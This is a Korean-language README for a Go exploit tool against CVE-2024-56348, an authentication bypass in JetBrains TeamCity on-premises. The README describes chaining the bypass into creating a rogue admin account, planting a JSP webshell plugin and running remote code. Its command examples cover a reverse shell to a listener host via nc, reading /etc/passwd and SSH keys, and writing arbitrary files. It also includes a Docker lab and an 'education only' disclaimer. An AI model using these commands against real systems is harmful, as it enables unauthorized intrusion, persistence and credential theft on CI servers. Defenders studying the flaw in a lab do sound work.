
Go 기반 CVE-2024-56348 익스플로잇으로 JetBrains TeamCity 인증 우회 및 원격 코드 실행을 대상으로 합니다. 자격 증명 없이 대화형 셸, 리버스 셸, 파일 읽기/쓰기, 단일 명령 실행을 제공합니다.
CVE-2024-56348은 JetBrains TeamCity 온프레미스에서 발생하는 심각한 인증 우회 취약점으로, 2024.12 이전의 모든 버전에 영향을 미칩니다. REST API가 ;.jsp를 포함한 경로에 대한 요청을 부적절하게 처리하여, 인증되지 않은 공격자가 완전히 인증된 것처럼 모든 REST 엔드포인트를 호출할 수 있습니다.
본 익스플로잇은 이 우회를 TeamCity의 자체 REST API와 연계하여 SYSTEM_ADMIN 계정을 생성하고, API 토큰을 발급받은 후, 내장 디버그 엔드포인트 또는 동적으로 업로드된 JSP 플러그인 웹쉘을 통해 완전한 원격 코드 실행을 달성합니다. 자격 증명이 필요하지 않습니다.
영향받는 버전: JetBrains TeamCity 온프레미스 < 2024.12
-command를 통해 단일 명령 실행, 전체 stdout, stderr 및 종료 코드 출력git clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t 대상 URL (예: http://127.0.0.1:8111)
-command 단일 명령 실행 및 출력 표시
-shell 리버스 셸 실행 (-lhost 및 -lport 필요)
-lhost 리버스 셸을 위한 리스너 호스트
-lport 리버스 셸을 위한 리스너 포트
-read-file 원격 파일 읽기 및 내용 출력
-write-file 기록할 원격 경로 (-file-content 필요)
-file-content -write-file 사용 시 기록할 내용
작업 플래그 없이 실행하면 대화형 셸로 자동 진입합니다.
대상에 연결하여 우회를 확인하고, 임시 관리자 계정을 생성한 후 대화형 셸로 진입합니다. 프롬프트는 마지막 명령의 종료 코드를 초록색(성공) 또는 빨간색(0이 아님)으로 표시합니다.
./cve-2024-56348 -t http://127.0.0.1:8111

하나의 명령을 실행하고 stdout, stderr, 종료 코드를 각각 출력합니다.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

JSP 플러그인 웹쉘을 배포하고 사용자 리스너로 리버스 셸을 트리거합니다. 먼저 nc -lvp 4444를 실행하세요.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

TeamCity 프로세스가 접근할 수 있는 모든 파일을 읽습니다. 설정 파일, SSH 키 등에 유용합니다.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

원격 경로에 임의 내용을 기록합니다. 추가 페이로드 배포 또는 설정 수정에 유용합니다.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

로컬 테스트를 위한 취약한 TeamCity 인스턴스를 포함한 자체 포함 Docker Compose 환경입니다. 자세한 내용은 DOCKER.md를 확인하세요.
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
스크립트가 "[-] Plugin upload failed."를 반환할 경우, hackindex 사용자로 로그인하여 다시 시도하세요. (자격 증명은 DOCKER.md에서 확인 가능)
이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.